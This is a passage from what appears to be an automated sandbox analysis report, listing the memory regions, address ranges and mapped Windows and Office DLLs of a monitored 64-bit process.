	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")

Region:
	              id = 2259
	        start_va = 0x7fef7c70000
	          end_va = 0x7fef7c72fff
	     entry_point = 0x7fef7c70000
	     region_type = mapped_file
	            name = "api-ms-win-core-synch-l1-2-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")

Region:
	              id = 2260
	        start_va = 0x7fef7c80000
	          end_va = 0x7fef7c82fff
	     entry_point = 0x7fef7c80000
	     region_type = mapped_file
	            name = "api-ms-win-core-localization-l1-2-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")

Region:
	              id = 2261
	        start_va = 0x7fef7c90000
	          end_va = 0x7fef7c92fff
	     entry_point = 0x7fef7c90000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l2-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")

Region:
	              id = 2262
	        start_va = 0x7fef7ca0000
	          end_va = 0x7fef7ca2fff
	     entry_point = 0x7fef7ca0000
	     region_type = mapped_file
	            name = "api-ms-win-core-timezone-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")

Region:
	              id = 2263
	        start_va = 0x7fef7cb0000
	          end_va = 0x7fef7da1fff
	     entry_point = 0x7fef7cb0000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")

Region:
	              id = 2264
	        start_va = 0x7fef7db0000
	          end_va = 0x7fef7db3fff
	     entry_point = 0x7fef7db0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-runtime-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")

Region:
	              id = 2265
	        start_va = 0x7fef7dc0000
	          end_va = 0x7fef7dd6fff
	     entry_point = 0x7fef7dc0000
	     region_type = mapped_file
	            name = "vcruntime140.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")

Region:
	              id = 2266
	        start_va = 0x7fef7de0000
	          end_va = 0x7fef7dfafff
	     entry_point = 0x7fef7de0000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 2267
	        start_va = 0x7fef8360000
	          end_va = 0x7fef8366fff
	     entry_point = 0x7fef8360000
	     region_type = mapped_file
	            name = "msimg32.dll"
	        filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll")

Region:
	              id = 2268
	        start_va = 0x7fef8b10000
	          end_va = 0x7fef8b8bfff
	     entry_point = 0x7fef8b10000
	     region_type = mapped_file
	            name = "wer.dll"
	        filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")

Region:
	              id = 2269
	        start_va = 0x7fefb730000
	          end_va = 0x7fefb73afff
	     entry_point = 0x7fefb730000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")

Region:
	              id = 2270
	        start_va = 0x7fefbee0000
	          end_va = 0x7fefbef0fff
	     entry_point = 0x7fefbee0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 2271
	        start_va = 0x7fefc290000
	          end_va = 0x7fefc4a4fff
	     entry_point = 0x7fefc290000
	     region_type = mapped_file
	            name = "gdiplus.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll")

Region:
	              id = 2272
	        start_va = 0x7fefdc30000
	          end_va = 0x7fefdc3efff
	     entry_point = 0x7fefdc30000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2273
	        start_va = 0x7fefdce0000
	          end_va = 0x7fefdd15fff
	     entry_point = 0x7fefdce0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2274
	        start_va = 0x7fefdd20000
	          end_va = 0x7fefdd59fff
	     entry_point = 0x7fefdd20000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 2275
	        start_va = 0x7fefddd0000
	          end_va = 0x7fefdde9fff
	     entry_point = 0x7fefddd0000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 2276
	        start_va = 0x7fefddf0000
	          end_va = 0x7fefdf56fff
	     entry_point = 0x7fefddf0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2277
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2278
	        start_va = 0x7fefdfd0000
	          end_va = 0x7fefed57fff
	     entry_point = 0x7fefdfd0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 2279
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2280
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2281
	        start_va = 0x7feff2f0000
	          end_va = 0x7feff4c6fff
	     entry_point = 0x7feff2f0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 2282
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2283
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2284
	        start_va = 0x7feff640000
	          end_va = 0x7feff6b0fff
	     entry_point = 0x7feff640000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2285
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2286
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2287
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2288
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2571
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 2572
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2573
	        start_va = 0x1d0000
	          end_va = 0x1d6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001d0000"
	        filename = ""

Region:
	              id = 2574
	        start_va = 0x1e0000
	          end_va = 0x1e1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001e0000"
	        filename = ""

Region:
	              id = 2575
	        start_va = 0x1f0000
	          end_va = 0x1f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001f0000"
	        filename = ""

Region:
	              id = 2576
	        start_va = 0x200000
	          end_va = 0x200fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000200000"
	        filename = ""

Region:
	              id = 2577
	        start_va = 0x210000
	          end_va = 0x21ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 2578
	        start_va = 0x330000
	          end_va = 0x3affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000330000"
	        filename = ""

Region:
	              id = 2579
	        start_va = 0x4d0000
	          end_va = 0x657fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004d0000"
	        filename = ""

Region:
	              id = 2580
	        start_va = 0x660000
	          end_va = 0x7e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000660000"
	        filename = ""

Region:
	              id = 2581
	        start_va = 0x7f0000
	          end_va = 0x8affff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007f0000"
	        filename = ""

Region:
	              id = 2582
	        start_va = 0x8b0000
	          end_va = 0xca2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008b0000"
	        filename = ""

Region:
	              id = 2583
	        start_va = 0xcb0000
	          end_va = 0xf7efff
	     entry_point = 0xcb0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2584
	        start_va = 0xf80000
	          end_va = 0x107ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f80000"
	        filename = ""

Region:
	              id = 2585
	        start_va = 0x1160000
	          end_va = 0x116ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001160000"
	        filename = ""

Region:
	              id = 2586
	        start_va = 0x12d0000
	          end_va = 0x13cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000012d0000"
	        filename = ""

Region:
	              id = 2587
	        start_va = 0x1400000
	          end_va = 0x14fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001400000"
	        filename = ""

Region:
	              id = 2588
	        start_va = 0x7fee6cb0000
	          end_va = 0x7fee6d4ffff
	     entry_point = 0x7fee6cb0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll")

Region:
	              id = 2589
	        start_va = 0x7fef3660000
	          end_va = 0x7fef3741fff
	     entry_point = 0x7fef3660000
	     region_type = mapped_file
	            name = "d2d1.dll"
	        filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll")

Region:
	              id = 2590
	        start_va = 0x7fef9810000
	          end_va = 0x7fef98b6fff
	     entry_point = 0x7fef9810000
	     region_type = mapped_file
	            name = "dxgi.dll"
	        filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll")

Region:
	              id = 2591
	        start_va = 0x7fefc080000
	          end_va = 0x7fefc097fff
	     entry_point = 0x7fefc080000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 2592
	        start_va = 0x7fefcd50000
	          end_va = 0x7fefcd5bfff
	     entry_point = 0x7fefcd50000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 2593
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2594
	        start_va = 0x7fefdb30000
	          end_va = 0x7fefdb6cfff
	     entry_point = 0x7fefdb30000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 2595
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2596
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2597
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 2598
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 2628
	        start_va = 0x320000
	          end_va = 0x320fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000320000"
	        filename = ""

Region:
	              id = 2629
	        start_va = 0x3b0000
	          end_va = 0x3b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003b0000"
	        filename = ""

Region:
	              id = 2630
	        start_va = 0x1080000
	          end_va = 0x1081fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001080000"
	        filename = ""

Region:
	              id = 2631
	        start_va = 0x1090000
	          end_va = 0x1097fff
	     entry_point = 0x1090000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")

Region:
	              id = 2632
	        start_va = 0x10a0000
	          end_va = 0x10a1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000010a0000"
	        filename = ""

Region:
	              id = 2633
	        start_va = 0x10b0000
	          end_va = 0x10b3fff
	     entry_point = 0x10b0000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")

Region:
	              id = 2634
	        start_va = 0x10c0000
	          end_va = 0x10c3fff
	     entry_point = 0x10c0000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")

Region:
	              id = 2635
	        start_va = 0x10d0000
	          end_va = 0x10d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000010d0000"
	        filename = ""

Region:
	              id = 2636
	        start_va = 0x10e0000
	          end_va = 0x10e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000010e0000"
	        filename = ""

Region:
	              id = 2637
	        start_va = 0x1170000
	          end_va = 0x126ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001170000"
	        filename = ""

Region:
	              id = 2638
	        start_va = 0x1510000
	          end_va = 0x160ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001510000"
	        filename = ""

Region:
	              id = 2639
	        start_va = 0x16f0000
	          end_va = 0x16fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016f0000"
	        filename = ""

Region:
	              id = 2640
	        start_va = 0x1780000
	          end_va = 0x187ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001780000"
	        filename = ""

Region:
	              id = 2641
	        start_va = 0x18f0000
	          end_va = 0x19effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000018f0000"
	        filename = ""

Region:
	              id = 2642
	        start_va = 0x1aa0000
	          end_va = 0x1b9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001aa0000"
	        filename = ""

Region:
	              id = 2643
	        start_va = 0x1c50000
	          end_va = 0x1d4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001c50000"
	        filename = ""

Region:
	              id = 2644
	        start_va = 0x1d50000
	          end_va = 0x2092fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001d50000"
	        filename = ""

Region:
	              id = 2645
	        start_va = 0x21f0000
	          end_va = 0x226ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021f0000"
	        filename = ""

Region:
	              id = 2646
	        start_va = 0x22d0000
	          end_va = 0x23cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000022d0000"
	        filename = ""

Region:
	              id = 2647
	        start_va = 0x2440000
	          end_va = 0x244ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 2648
	        start_va = 0x24d0000
	          end_va = 0x25cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000024d0000"
	        filename = ""

Region:
	              id = 2649
	        start_va = 0x26d0000
	          end_va = 0x27cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000026d0000"
	        filename = ""

Region:
	              id = 2650
	        start_va = 0x77e10000
	          end_va = 0x77e12fff
	     entry_point = 0x77e10000
	     region_type = mapped_file
	            name = "normaliz.dll"
	        filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")

Region:
	              id = 2651
	        start_va = 0x7fef4d40000
	          end_va = 0x7fef4d5bfff
	     entry_point = 0x7fef4d40000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")

Region:
	              id = 2652
	        start_va = 0x7fef4d60000
	          end_va = 0x7fef4dc1fff
	     entry_point = 0x7fef4d60000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")

Region:
	              id = 2653
	        start_va = 0x7fef6570000
	          end_va = 0x7fef6580fff
	     entry_point = 0x7fef6570000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 2654
	        start_va = 0x7fef93b0000
	          end_va = 0x7fef93b8fff
	     entry_point = 0x7fef93b0000
	     region_type = mapped_file
	            name = "sensapi.dll"
	        filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll")

Region:
	              id = 2655
	        start_va = 0x7fefa530000
	          end_va = 0x7fefa74cfff
	     entry_point = 0x7fefa530000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf")

Region:
	              id = 2656
	        start_va = 0x7fefa750000
	          end_va = 0x7fefaa65fff
	     entry_point = 0x7fefa750000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")

Region:
	              id = 2657
	        start_va = 0x7fefb670000
	          end_va = 0x7fefb67afff
	     entry_point = 0x7fefb670000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2658
	        start_va = 0x7fefb680000
	          end_va = 0x7fefb6a6fff
	     entry_point = 0x7fefb680000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2659
	        start_va = 0x7fefb800000
	          end_va = 0x7fefb814fff
	     entry_point = 0x7fefb800000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 2660
	        start_va = 0x7fefbb00000
	          end_va = 0x7fefbb2cfff
	     entry_point = 0x7fefbb00000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2661
	        start_va = 0x7fefbc10000
	          end_va = 0x7fefbc17fff
	     entry_point = 0x7fefbc10000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 2662
	        start_va = 0x7fefc040000
	          end_va = 0x7fefc074fff
	     entry_point = 0x7fefc040000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 2663
	        start_va = 0x7fefc690000
	          end_va = 0x7fefc883fff
	     entry_point = 0x7fefc690000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 2664
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd2fafff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2665
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2666
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdb9efff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2667
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2668
	        start_va = 0x7fefee80000
	          end_va = 0x7feff0d8fff
	     entry_point = 0x7fefee80000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 2669
	        start_va = 0x7feff6e0000
	          end_va = 0x7feff857fff
	     entry_point = 0x7feff6e0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 2670
	        start_va = 0x7feff870000
	          end_va = 0x7feff999fff
	     entry_point = 0x7feff870000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 2671
	        start_va = 0x7feffe60000
	          end_va = 0x7feffeb1fff
	     entry_point = 0x7feffe60000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2672
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2673
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 2674
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 2675
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 2676
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2677
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2678
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 2679
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 2680
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 2681
	        start_va = 0x1610000
	          end_va = 0x16cffff
	     entry_point = 0x1610000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 2682
	        start_va = 0x7fef7190000
	          end_va = 0x7fef71f3fff
	     entry_point = 0x7fef7190000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 2683
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7270fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "winhttp.dll"
